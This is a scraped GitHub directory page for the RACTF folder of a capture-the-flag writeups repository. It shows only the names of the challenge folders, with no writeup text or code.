<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
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<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf_writeups</span></span></span><span>/</span>RACTF<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf_writeups</span></span></span><span>/</span>RACTF<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/satoki/ctf_writeups/tree-commit/a2f8840c264cc9579cb67d03b038e4fc172528b2/RACTF" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
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<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>A_Monster_Issue</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>A_Musical_Mix-up</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Admin_Attack</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>B007L36_CRYP70..._4641N</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>B007l3G_CRYP70</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>BR.MOV</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Baiting</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Brick_by_Brick</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>C0llide?</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Cut_Short</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Dead_Man</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Entrypoint</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Finding_server_information</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Getting_admin</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Insert_witty_name</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Quarantine</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Quarantine_-_Hidden_information</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>RAirways</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Reading_Between_the_Lines</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Really_Small_Algorithm</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Remote_Retreat</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>ST.MOV</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Solved_in_a_Flash</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Spentalkux</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
